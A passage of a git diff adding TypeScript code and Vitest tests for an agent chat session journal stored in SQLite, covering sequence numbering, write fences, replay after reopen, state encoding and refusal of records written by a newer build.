expected: JournalReducerState): void { + expect(Object.keys(actual)).toEqual(Object.keys(expected)) + const actualFields: Record = { ...actual } + const expectedFields: Record = { ...expected } + for (const [field, right] of Object.entries(expectedFields)) { + const left = actualFields[field] + if ( + (left instanceof Map && right instanceof Map) || + (left instanceof Set && right instanceof Set) + ) { + expect([...left]).toStrictEqual([...right]) + } else if (field === 'queue') { + expect([...actual.queue.cards]).toStrictEqual([...expected.queue.cards]) + expect(actual.queue.revision).toBe(expected.queue.revision) + } else if (field === 'derivedTurnScope') { + expect(actual.derivedTurnScope.snapshot()).toBe(expected.derivedTurnScope.snapshot()) + } else { + expect(left).toStrictEqual(right) + } + } + expect(renderJournalState(actual)).toStrictEqual(renderJournalState(expected)) +} + +it('round trips the complete replayed reducer, including insertion order and valueless echoes', () => { + for (const table of [ + 'journal_rows', + 'journal_sessions', + 'journal_outcomes', + 'journal_outcome_epochs', + 'journal_outcome_generations' + ]) { + expect( + database.db + .prepare("SELECT name FROM sqlite_schema WHERE type = 'table' AND name = ?") + .get(table) + ).toEqual({ name: table }) + expect(SQLITE_TABLE_DISPOSITIONS[`agent-session-journal.${table}`]).toMatchObject({ + disposition: 'not-applicable', + item: 52 + }) + } + const user = text('Please investigate', 'user') + const rows: JournalRow[] = [ + { ...base(1), kind: 'epoch', reason: 'legacy_import', providerHandle }, + { + ...base(2), + kind: 'queue', + messageId: 'draft', + change: { + op: 'queued', + body: user, + position: 1, + queuedAt: { epoch, sequence: 2 }, + options: { model: 'model-a' } + } + }, + { + ...base(3), + kind: 'submission', + clientMessageId: 'send-1', + payloadFingerprint: agentSessionSendBodyFingerprint(identity.sessionId, user), + body: user, + providerHandle, + handoverRecorded: true, + queuedMessageId: 'draft', + origin: 'client' + }, + { + ...base(4), + kind: 'dispatch', + clientMessageId: 'send-1', + state: 'pending', + providerItemId: null, + reason: null, + carries: ['stopped-2', 'stopped-1'] + }, + { ...base(5), kind: 'item', itemId: itemId(1), revision: 1, body: user }, + { + ...base(6), + kind: 'item', + itemId: itemId(2), + revision: 1, + body: text('echo'), + // A declaration without a known original, as the writers store it (JSON keeps no undefined). + echoOf: null + }, + { ...base(7), kind: 'item', itemId: itemId(3), revision: 1, body: text('removed') }, + { ...base(8), kind: 'tombstone', itemId: itemId(3), revision: 2 }, + { + ...base(9), + kind: 'tombstone', + itemId: 'stop', + revision: 1, + stopEvent: { reason: 'user-stop', at: 1_009 } + }, + { + ...base(10), + kind: 'tombstone', + itemId: 'clear', + revision: 1, + queueClear: { operationId: 'clear-1', messageIds: ['draft'] } + }, + { ...base(11), kind: 'tombstone', itemId: 'reopen', revision: 1, queueReopen: true } + ] + for (let index = 0; index < MAX_JOURNAL_APPLIED_SETTLEMENT_IDS + 2; index++) { + rows.push({ + ...base(rows.length + 1), + kind: 'lifecycle-batch', + settlementId: `settlement-${index}`, + mutations: [ + { kind: 'item', itemId: itemId(4), revision: index + 1, body: text(`progress ${index}`) } + ] + }) + } + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: itemId(7), + revision: 1, + body: { kind: 'turn', turnId: 'removed-turn', state: 'running' } + }) + rows.push({ ...base(rows.length + 1), kind: 'tombstone', itemId: itemId(7), revision: 2 }) + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: itemId(5), + revision: 1, + body: { kind: 'turn', turnId: 'open-turn', state: 'running' } + }) + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: itemId(6), + revision: 1, + executionOwner: 2, + body: text('Working') + }) + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: itemId(3), + revision: 3, + body: text('Recreated') + }) + for (const clientMessageId of ['send-3', 'send-2']) { + rows.push({ + ...base(rows.length + 1), + kind: 'submission', + clientMessageId, + payloadFingerprint: agentSessionSendBodyFingerprint(identity.sessionId, user), + body: user, + providerHandle + }) + } + const state = write(rows) + expect(state.items.has(agentJournalSubmissionKey('send-1'))).toBe(true) + expect(state.itemEchoes.has(itemId(2))).toBe(true) + expect(state.itemEchoes.get(itemId(2))).toBeNull() + expect([...state.appliedSettlementIds][0]).toBe('settlement-2') + expect(state.derivedTurnScope.snapshot()).toBe(itemId(5)) + const restored = requireState(restoreJournal(database.db, identity.sessionId)?.state) + expectSameState(restored, state) + expect(restored.derivedTurnScope.scopeFor(text('next'))).toEqual({ + kind: 'turn', + turnItemId: itemId(5) + }) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-sequence-replay.spec.ts b/src/main/native-chat/agent-session-journal/journal-sequence-replay.spec.ts new file mode 100644 index 00000000000..8121483857d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-sequence-replay.spec.ts @@ -0,0 +1,286 @@ +import type { createFixture } from './journal-store-contract-test-fixture' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { describe, expect, it } from 'vitest' +import type { AgentJournalItemIdentity } from '../../../shared/agent-session-journal-types' +import { + agentJournalItemKey, + boundJournalKeyComponent, + MAX_JOURNAL_KEY_COMPONENT_CHARS +} from '../../../shared/agent-session-journal-item-key' +import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' +import { AgentSessionJournalError } from './journal-store' +import { + openTestJournalHostDatabase, + liveTestJournalRows, + deleteTestJournalRow, + seedLegacyTestJournal, + pinTestJournalInputMode +} from './journal-host-database-test-support' + +export function registerJournalSequenceReplayTests( + fixture: ReturnType +): void { + describe('sequences', () => { + it('assigns a contiguous sequence with no gaps or reuse under concurrent appends', async () => { + const journal = await fixture.open() + const results = await Promise.all( + Array.from({ length: 25 }, (_unused, index) => + journal.appendItem(fixture.item(index), fixture.body(`m${index}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + ) + ) + const sequences = results.map((result) => result.cursor.sequence) + expect(new Set(sequences).size).toBe(25) + expect(sequences.slice().sort((a, b) => a - b)).toEqual( + Array.from({ length: 25 }, (_unused, index) => index + 2) + ) + }) + + it('serializes revisions of one item so the last write wins deterministically', async () => { + const journal = await fixture.open() + const results = await Promise.all([ + journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }), + journal.appendItem(fixture.item(0), fixture.body('b'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }), + journal.appendItem(fixture.item(0), fixture.body('c'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + ]) + expect(results.map((result) => result.revision)).toEqual([1, 2, 3]) + expect(journal.snapshot().items).toHaveLength(1) + expect(journal.snapshot().items[0]?.revision).toBe(3) + }) + + it('visits reduced items at their creation sequence without promoting an older revision', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('first'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const latest = await journal.appendItem(fixture.item(1), fixture.body('second'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendItem(fixture.item(0), fixture.body('first revised'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const visited: { itemId: string; sequence: number }[] = [] + + journal.visitItems((itemId, sequence) => visited.push({ itemId, sequence })) + + expect(visited).toEqual([ + { itemId: agentJournalItemKey(fixture.item(0)), sequence: 2 }, + { itemId: latest.itemId, sequence: latest.cursor.sequence } + ]) + }) + + it('reads the live turn off reduced items, agreeing with the rendered snapshot', async () => { + const journal = await fixture.open() + const turnItem = (turnId: string): AgentJournalItemIdentity => ({ + provider: 'legacy', + agent: 'codex', + sessionId: 'session-1', + recordId: `turn-lifecycle:${turnId}` + }) + const rendered = (): string | null => + activeStructuredAgentSessionTurnId(journal.snapshot().items) + const bothAgreeOn = async (turnId: string | null): Promise => { + expect(journal.runningTurn()?.turnId ?? null).toBe(turnId) + expect(rendered()).toBe(turnId) + } + + await journal.appendItem( + turnItem('turn-1'), + { kind: 'turn', turnId: 'turn-1', state: 'running' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await journal.appendItem(fixture.item(0), fixture.body('work'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await bothAgreeOn('turn-1') + + // Revisions retain creation position. + await journal.appendItem( + turnItem('turn-1'), + { kind: 'turn', turnId: 'turn-1', state: 'completed' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await bothAgreeOn(null) + + await journal.appendItem( + turnItem('turn-2'), + { kind: 'turn', turnId: 'turn-2', state: 'running' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await bothAgreeOn('turn-2') + }) + + it('preserves an oversized identity and its raw digest-form mimic across reopen', async () => { + const oversizedTurnId = 'a'.repeat(MAX_JOURNAL_KEY_COMPONENT_CHARS + 1) + const digestFormMimic = boundJournalKeyComponent(oversizedTurnId) + const identityFor = (turnId: string): AgentJournalItemIdentity => ({ + provider: 'codex', + threadId: 'thread-1', + turnId, + ordinal: 0 + }) + const oversizedIdentity = identityFor(oversizedTurnId) + const mimicIdentity = identityFor(digestFormMimic) + const journal = await fixture.open() + + const oversized = await journal.appendItem(oversizedIdentity, fixture.body('oversized'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const mimic = await journal.appendItem(mimicIdentity, fixture.body('mimic'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(oversized.itemId).not.toBe(mimic.itemId) + expect([oversized.revision, mimic.revision]).toEqual([1, 1]) + + const reopened = await fixture.open() + expect(reopened.snapshot().items.map((entry) => entry.body)).toEqual([ + fixture.body('oversized'), + fixture.body('mimic') + ]) + + await reopened.appendTombstone(oversizedIdentity, { fence: 1 }) + const afterTombstoneReopen = await fixture.open() + expect(afterTombstoneReopen.snapshot().items.map((entry) => entry.body)).toEqual([ + fixture.body('mimic') + ]) + }) + }) + + describe('fences', () => { + it('rejects an append from a writer behind the journal', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await expect( + journal.appendItem(fixture.item(1), fixture.body('b'), { + fence: 6, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + ).rejects.toBeInstanceOf(AgentSessionJournalError) + }) + + it('keeps accepting appends after a rejected one', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal + .appendItem(fixture.item(1), fixture.body('b'), { + fence: 6, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + .catch(() => undefined) + await journal.appendItem(fixture.item(2), fixture.body('c'), { + fence: 7, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(journal.snapshot().items.map((entry) => entry.body)).toEqual([ + fixture.body('a'), + fixture.body('c') + ]) + }) + }) + + describe('replay', () => { + it('reopens to the same render model the live writer held', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendItem(fixture.item(1), fixture.body('b'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendItem(fixture.item(0), fixture.body('a2'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.appendTombstone(fixture.item(1), { fence: 1 }) + const live = journal.snapshot() + + const reopened = await fixture.open() + expect(reopened.snapshot()).toEqual(live) + }) + + it('serves a resume from a cursor and refuses one from a stale epoch', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + const cursor = journal.cursor() + await journal.appendItem(fixture.item(1), fixture.body('b'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + + const resumed = journal.readSince(cursor) + expect(resumed.ok && resumed.rows).toHaveLength(1) + + await journal.rollEpoch('handle_forked', 2) + expect(journal.readSince(cursor)).toEqual({ ok: false, reset: 'epoch_changed' }) + }) + + it('rebuilds from a clean epoch after a rollover', async () => { + const journal = await fixture.open() + await journal.appendItem(fixture.item(0), fixture.body('a'), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + await journal.rollEpoch('unreconcilable_prefix', 2) + expect(journal.snapshot().items).toHaveLength(0) + + const reopened = await fixture.open() + expect(reopened.epoch).toBe(journal.epoch) + expect(reopened.snapshot().items).toHaveLength(0) + }) + + it('refuses a journal with a gap and keeps every row', async () => { + seedLegacyTestJournal(openTestJournalHostDatabase(fixture.root), { + identity: fixture.IDENTITY, + now: fixture.tick + }) + const journal = await fixture.open() + pinTestJournalInputMode(journal) + for (let index = 0; index < 4; index += 1) { + await journal.appendItem(fixture.item(index), fixture.body(`m${index}`), { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + } + await journal.close() + await fixture.withJournalDatabase(fixture.root, (db) => { + deleteTestJournalRow(db, fixture.IDENTITY.sessionId, 3) + }) + + await expect(fixture.open()).rejects.toMatchObject({ + refusal: { details: { reason: 'journalCorrupt' } } + }) + await fixture.withJournalDatabase(fixture.root, (db) => { + const rows = liveTestJournalRows(db, fixture.IDENTITY.sessionId) + expect(rows.map((row) => row.seq)).toEqual([1, 2, 4, 5]) + }) + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-state-codec.ts b/src/main/native-chat/agent-session-journal/journal-state-codec.ts new file mode 100644 index 00000000000..2263f74089c --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-state-codec.ts @@ -0,0 +1,45 @@ +import type { JournalReducerState } from './journal-reducer' +import { durableQueuePauseMarks } from './journal-outcome-format-1-decode' + +/** The whole chat in a comparable form, insertion order included: a restore must equal live. */ +export function encodeJournalState(state: JournalReducerState): { + stateJson: string + items: { itemId: string; itemJson: string; ordinal: number }[] +} { + const stored = { + sessionId: state.sessionId, + epoch: state.epoch, + lastSequence: state.lastSequence, + lastActivityAt: state.lastActivityAt, + oldestSequence: state.oldestSequence, + highestFence: state.highestFence, + itemFences: [...state.itemFences], + itemExecutionOwners: [...state.itemExecutionOwners], + providerActivityAt: [...state.providerActivityAt], + tombstones: [...state.tombstones], + removedTurnIds: [...state.removedTurnIds], + submissions: [...state.submissions], + receipts: [...state.receipts], + aliases: [...state.aliases], + itemEchoes: [...state.itemEchoes].map(([key, value]) => + value === undefined ? [key] : [key, value] + ), + appliedSettlementIds: [...state.appliedSettlementIds], + derivedTurnScope: state.derivedTurnScope.snapshot(), + latestAcceptedTurnSequence: state.latestAcceptedTurnSequence, + queuePauseMarks: durableQueuePauseMarks(state.queuePauseMarks), + stoppedHistoryCarried: [...state.stoppedHistoryCarried], + queuedHandOffPlaces: [...state.queuedHandOffPlaces], + normalizedHandOffs: [...state.normalizedHandOffs], + queue: { revision: state.queue.revision, cards: [...state.queue.cards] }, + historyOrigin: state.historyOrigin + } satisfies Record, unknown> + return { + stateJson: JSON.stringify(stored), + items: [...state.items].map(([itemId, item], ordinal) => ({ + itemId, + itemJson: JSON.stringify(item), + ordinal + })) + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-state-layout.ts b/src/main/native-chat/agent-session-journal/journal-state-layout.ts new file mode 100644 index 00000000000..2f589dfe4a1 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-state-layout.ts @@ -0,0 +1,82 @@ +import type { JournalReducerState } from './journal-reducer' + +// Every reducer field has a storage home; queue splits its revision from its keyed cards. +export const journalStateLayout = { + sessionId: 'scalar', + epoch: 'scalar', + lastSequence: 'scalar', + lastActivityAt: 'scalar', + oldestSequence: 'scalar', + highestFence: 'scalar', + items: 'items', + itemFences: 'map', + itemExecutionOwners: 'map', + providerActivityAt: 'map', + tombstones: 'map', + removedTurnIds: 'set', + submissions: 'map', + receipts: 'map', + aliases: 'map', + itemEchoes: 'map', + appliedSettlementIds: 'set', + derivedTurnScope: 'scalar', + latestAcceptedTurnSequence: 'scalar', + queuePauseMarks: 'scalar', + stoppedHistoryCarried: 'map', + queuedHandOffPlaces: 'map', + normalizedHandOffs: 'set', + queue: 'queue', + historyOrigin: 'scalar' +} as const satisfies Record + +type ScalarKey = { + [K in keyof typeof journalStateLayout]: (typeof journalStateLayout)[K] extends 'scalar' | 'queue' + ? K + : never +}[keyof typeof journalStateLayout] + +type Collection = { path: string; entries: Iterable<[unknown, unknown]> } + +export function journalStateScalars(state: JournalReducerState): string { + const stop = state.queuePauseMarks.latestStop + return JSON.stringify({ + sessionId: state.sessionId, + epoch: state.epoch, + lastSequence: state.lastSequence, + lastActivityAt: state.lastActivityAt, + oldestSequence: state.oldestSequence, + highestFence: state.highestFence, + derivedTurnScope: state.derivedTurnScope.snapshot(), + latestAcceptedTurnSequence: state.latestAcceptedTurnSequence, + queuePauseMarks: { + ...state.queuePauseMarks, + latestStop: stop && { sequence: stop.sequence, event: stop.event } + }, + queue: { revision: state.queue.revision }, + historyOrigin: state.historyOrigin + } satisfies Record) +} + +export function journalStateCollections(state: JournalReducerState): Collection[] { + return Object.entries(state).flatMap(([path, value]) => { + if (value instanceof Map) { + return [{ path, entries: value }] + } + if (value instanceof Set) { + return [{ path, entries: value.entries() }] + } + if (path === 'queue') { + return [{ path: 'queue.cards', entries: state.queue.cards }] + } + return [] + }) +} + +/** Entry tuples preserve an undefined echo declaration without turning it into null. */ +export function journalEntryJson( + key: unknown, + value: unknown, + replacer?: (key: string, value: unknown) => unknown +): string { + return JSON.stringify(value === undefined ? [key] : [key, value], replacer) +} diff --git a/src/main/native-chat/agent-session-journal/journal-state-schema.ts b/src/main/native-chat/agent-session-journal/journal-state-schema.ts new file mode 100644 index 00000000000..426acf5973f --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-state-schema.ts @@ -0,0 +1,6 @@ +import type { z } from 'zod' +import type { JournalReducerState } from './journal-reducer' +import { outcomeFormat1Fields } from './journal-outcome-format-1' + +// Every reducer key needs an explicit stored representation in the format this build writes. +export const fields = outcomeFormat1Fields satisfies Record diff --git a/src/main/native-chat/agent-session-journal/journal-storage-admission.test.ts b/src/main/native-chat/agent-session-journal/journal-storage-admission.test.ts new file mode 100644 index 00000000000..b4b9512a66c --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-storage-admission.test.ts @@ -0,0 +1,277 @@ +import { readFileSync } from 'node:fs' +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it } from 'vitest' +import { z } from 'zod' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalItemIdentity, + type AgentSessionJournalIdentity, + type AgentSessionJournalProviderHandle +} from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { + createTrackedJournalOpener, + insertTestJournalRowJson, + liveTestJournalRows, + openTestJournalHostDatabase, + publishTestJournalEpoch, + SAVED_BY_NEWER_ORCA, + updateTestJournalRowJson +} from './journal-host-database-test-support' +import { admitOutcomeFormat1 } from './journal-outcome-format-1' +import type { AgentSessionFailureFact } from '../../../shared/agent-session-failure' +import type { storedFailureFact, storedProviderHandle } from './journal-storage-schema' +import type { UndeclaredStorageKeys } from './journal-storage-strict' +import { restoreJournal } from './journal-open' +import type { JournalReducerState } from './journal-reducer' +import { + journalEntryJson, + journalStateCollections, + journalStateScalars +} from './journal-state-layout' +import { readStoredQueuedMessageRow } from './queued-message-stored-row' + +// Admission keeps the in-memory chat within what this build declares on every path a saved value +// takes into it, so restating that chat on a new epoch never drops a newer build's key. + +const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} +const SCOPE = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + +let root: string +let clock = 1_000 +const inputs = createTrackedJournalOpener({ legacyInputs: true }) +const journals = createTrackedJournalOpener() + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-storage-admission-')) +}) +afterEach(async () => { + await inputs.closeAll() + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +function open(opener: typeof journals) { + return opener.open({ + identity: IDENTITY, + stateDirectory: root, + now: () => (clock += 1), + mintEpoch: () => `epoch-${clock}` + }) +} + +function item(ordinal: number): AgentJournalItemIdentity { + return { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal } +} + +async function writeItems(opener: typeof journals, ordinals: number[]): Promise { + const journal = await open(opener) + for (const ordinal of ordinals) { + await journal.appendItem( + item(ordinal), + { kind: 'message', role: 'assistant', blocks: [{ type: 'text', text: `item ${ordinal}` }] }, + SCOPE + ) + } + await opener.closeAll() + return journal.epoch +} + +const db = () => openTestJournalHostDatabase(root).db + +/** Every saved byte of the chat database: a refusal writes none of it. */ +function savedBytes(): unknown { + const tables = db() + .prepare(`SELECT name FROM sqlite_master WHERE type = 'table' ORDER BY name`) + .all() + .map(({ name }) => String(name)) + return tables.map((table) => [table, db().prepare(`SELECT * FROM "${table}"`).all()]) +} + +/** Adds a key no build declares inside an item's first text block, as a newer build would. */ +function withLaterKey(json: string): string { + return json.replace('"type":"text",', '"type":"text","emphasis":"strong",') +} + +it("refuses a newer build's record with an undeclared nested key before adopting it, writes nothing, and starts no epoch", async () => { + await writeItems(journals, [0, 1, 2]) + const database = openTestJournalHostDatabase(root) + const source = db().prepare('SELECT generation, through_seq FROM journal_outcome_epochs').get() + const generation = Number(source?.generation) + const through = Number(source?.through_seq) + expect(restoreJournal(db(), IDENTITY.sessionId)).toMatchObject({ newer: null, damage: null }) + + // The newer build revises item 2 with a key this build does not declare. + const itemId = 'codex:thread-1:turn-1:2' + const latest = db() + .prepare(`SELECT value_json FROM journal_outcomes WHERE field = 'items' AND entry_key = ? + ORDER BY seq DESC LIMIT 1`) + .get(JSON.stringify(itemId)) + const revised = withLaterKey(String(latest?.value_json)) + const next = through + 1 + const ordinal = (index: number) => + `s${String(next).padStart(16, '0')}:${String(index).padStart(16, '0')}` + database.transaction((write) => { + const insert = write.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, ?, ?, ?, 1, ?, ?, 0)`) + insert.run(generation, next, 'items', JSON.stringify(itemId), ordinal(0), revised) + write.prepare('UPDATE journal_outcome_epochs SET through_seq = ?').run(next) + }) + const before = savedBytes() + + expect(restoreJournal(db(), IDENTITY.sessionId)).toMatchObject({ newer: { sequence: 1 } }) + // No handle exists for a refused chat, so nothing can replace, roll over or rewind its epoch. + await expect(open(journals)).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) + expect(savedBytes()).toEqual(before) +}) + +it.each([ + ['alone', []], + ['with outcome records after it', [2]] +])( + 'refuses a chat whose frozen input row holds an undeclared key before folding it, %s', + async (_name, later) => { + await writeItems(inputs, [0, 1]) + if (later.length > 0) { + await writeItems(journals, later) + expect(db().prepare('SELECT COUNT(*) AS n FROM journal_outcomes').get()?.n).not.toBe(0) + } + const row = liveTestJournalRows(db(), IDENTITY.sessionId).find((stored) => stored.seq === 2) + updateTestJournalRowJson(db(), IDENTITY.sessionId, 2, withLaterKey(row?.rowJson ?? '')) + const before = savedBytes() + await expect(open(journals)).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) + expect(savedBytes()).toEqual(before) + } +) + +it('leaves a legacy queued card whose saved body holds an undeclared key on disk, never adopted', () => { + const body = { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'later' }] } + const row = (saved: unknown) => ({ + message_id: 'card-1', + position: 1, + body_json: JSON.stringify(saved), + fingerprint: 'f', + state: 'waiting', + hold_reason: null, + returned_reason: null, + returned_rejection: null, + consumed_as: null, + queued_epoch: 'epoch-1', + queued_sequence: 2, + options_json: '{"model":"m","later":"x"}' + }) + // Options keep their legacy meaning: a choice this build does not use is ignored. + expect(readStoredQueuedMessageRow(row(body))).toMatchObject({ messageId: 'card-1', body }) + expect(readStoredQueuedMessageRow(row(body))?.options).toEqual({ model: 'm' }) + const later = { ...body, blocks: [{ type: 'text', text: 'later', emphasis: 'strong' }] } + expect(readStoredQueuedMessageRow(row(later))).toBeNull() +}) + +// Input rows as builds before outcome records wrote them, checked in with the chat they fold into; +// rows 20-27 are v1.4.245's own writes. Every keyed collection holds data, so a reducer change that +// reads them differently fails here: version the prefix fold, never edit this. +const prefix = z + .object({ + sessionId: z.string(), + epoch: z.string(), + rows: z.array(z.string()), + expected: z.record(z.string(), z.unknown()) + }) + .parse( + JSON.parse( + readFileSync(new URL('./__fixtures__/journal-input-prefix.json', import.meta.url), 'utf8') + ) + ) + +function plain(state: JournalReducerState): unknown { + const fields: Record = { ...state } + return JSON.parse( + JSON.stringify({ + ...Object.fromEntries( + Object.entries(fields).map(([field, value]) => [ + field, + value instanceof Map || value instanceof Set ? [...value] : value + ]) + ), + derivedTurnScope: state.derivedTurnScope.snapshot(), + queue: { revision: state.queue.revision, cards: [...state.queue.cards] } + }) + ) +} + +it('folds the checked-in input rows into the same chat, every value of which storage declares', () => { + const database = openTestJournalHostDatabase(root) + database.transaction((write) => { + publishTestJournalEpoch(write, prefix.sessionId, prefix.epoch) + for (const [index, json] of prefix.rows.entries()) { + insertTestJournalRowJson(write, prefix.sessionId, index + 1, json, 1_001 + index) + } + }) + const loaded = restoreJournal(db(), prefix.sessionId) + expect(loaded).toMatchObject({ newer: null, damage: null }) + if (!loaded) { + throw new Error('missing prefix chat') + } + expect(plain(loaded.state)).toEqual(prefix.expected) + const collections = journalStateCollections(loaded.state) + expect(collections.filter(({ entries }) => [...entries].length === 0)).toEqual([]) + expect(collections.length).toBeGreaterThanOrEqual(15) + // What restating this chat on a new epoch would store, admitted as this build stores it. + const stored = [ + ...Object.entries(JSON.parse(journalStateScalars(loaded.state))).map(([key, value]) => ({ + field: '$', + key: JSON.stringify(key), + json: JSON.stringify(value) + })), + ...[...loaded.state.items].map(([key, value]) => ({ + field: 'items', + key: JSON.stringify(key), + json: JSON.stringify(value) + })), + ...journalStateCollections(loaded.state).flatMap(({ path, entries }) => + [...(path === 'items' ? [] : entries)].map(([key, value]) => ({ + field: path, + key: JSON.stringify(key), + json: journalEntryJson(key, value) + })) + ) + ] + expect(stored.length).toBeGreaterThan(20) + for (const value of stored) { + expect(admitOutcomeFormat1({ ...value, deleted: false })).toEqual({ + entryKey: JSON.parse(value.key), + kept: JSON.parse(value.json) + }) + } +}) + +function declared(): Undeclared | undefined { + return undefined +} + +it('compiles only when storage declares every key a persisted type holds, at any depth', () => { + type Stored = z.output + type Later = AgentSessionFailureFact & { retry?: { later?: number } } + expect(declared>()).toBeUndefined() + // @ts-expect-error `retry.later` is a key the stored failure fact does not declare + expect(declared>()).toBeUndefined() +}) + +it('reads an open string such as an agent type as a value, and still refuses a key beside it', () => { + type Stored = z.output + type Later = AgentSessionJournalProviderHandle & { host?: string } + expect( + declared>() + ).toBeUndefined() + // @ts-expect-error `host` is a key the stored provider handle does not declare + expect(declared>()).toBeUndefined() +}) diff --git a/src/main/native-chat/agent-session-journal/journal-storage-row-schema.ts b/src/main/native-chat/agent-session-journal/journal-storage-row-schema.ts new file mode 100644 index 00000000000..49c4ab4c9a5 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-storage-row-schema.ts @@ -0,0 +1,143 @@ +import { z } from 'zod' +import { + AgentJournalProducerLinkageFields, + AgentJournalTurnScopeSchema +} from '../../../shared/agent-session-journal-schemas' +import type { JournalRow } from './journal-row-schema' +import { + storedFailureFact, + storedItemBody, + storedMessageBody, + storedProviderHandle +} from './journal-storage-schema' +import { + storageVerdict, + strictStorage, + type StorageDeclaresAll, + type UndeclaredStorageKeys +} from './journal-storage-strict' + +// Every key an input row may hold. Only builds before outcome records wrote input rows, so a key +// this build does not declare is refused before main's reader normalizes it away; values keep +// main's checks (scalars here are unchecked), and execution options keep their legacy meaning of +// ignoring keys this build does not use. + +const value = z.unknown().optional() +const envelope = { + v: value, + epoch: value, + seq: value, + fence: value, + ts: value, + recovered: value, + turnScope: AgentJournalTurnScopeSchema.optional(), + ...AgentJournalProducerLinkageFields +} +const provenance = { ownerFence: value, executionOwner: value, echoOf: value } +const legacyOptions = z.record(z.string(), z.unknown()).optional() + +const itemMutation = { + kind: z.literal('item'), + itemId: value, + revision: value, + body: storedItemBody, + turnScope: AgentJournalTurnScopeSchema.optional(), + observedAt: value, + ...provenance, + ...AgentJournalProducerLinkageFields +} +const tombstoneMutation = { kind: z.literal('tombstone'), itemId: value, revision: value } + +const queueChange = z.discriminatedUnion('op', [ + z.object({ + op: z.literal('queued'), + body: storedMessageBody, + position: value, + queuedAt: z.object({ epoch: value, sequence: value }).nullable(), + holdReason: value, + options: legacyOptions, + attempt: value, + returned: z.object({ reason: value, rejection: storedFailureFact.optional() }).optional() + }), + z.object({ op: z.literal('edited'), body: storedMessageBody }), + z.object({ op: z.literal('moved'), position: value }), + z.object({ op: z.literal('held'), holdReason: value }), + z.object({ op: z.literal('withdrawn') }) +]) + +const storedRow = z.discriminatedUnion('kind', [ + z.object({ + ...envelope, + kind: z.literal('epoch'), + reason: value, + providerHandle: storedProviderHandle, + historyOrigin: value + }), + z.object({ + ...envelope, + ...provenance, + kind: z.literal('item'), + itemId: value, + revision: value, + body: storedItemBody + }), + z.object({ + ...envelope, + kind: z.literal('tombstone'), + itemId: value, + revision: value, + stopEvent: z.object({ reason: value, turnId: value, at: value, caller: value }).optional(), + queueResume: value, + queueReopen: value, + queueReopenSince: value, + queueClear: z + .object({ operationId: value, 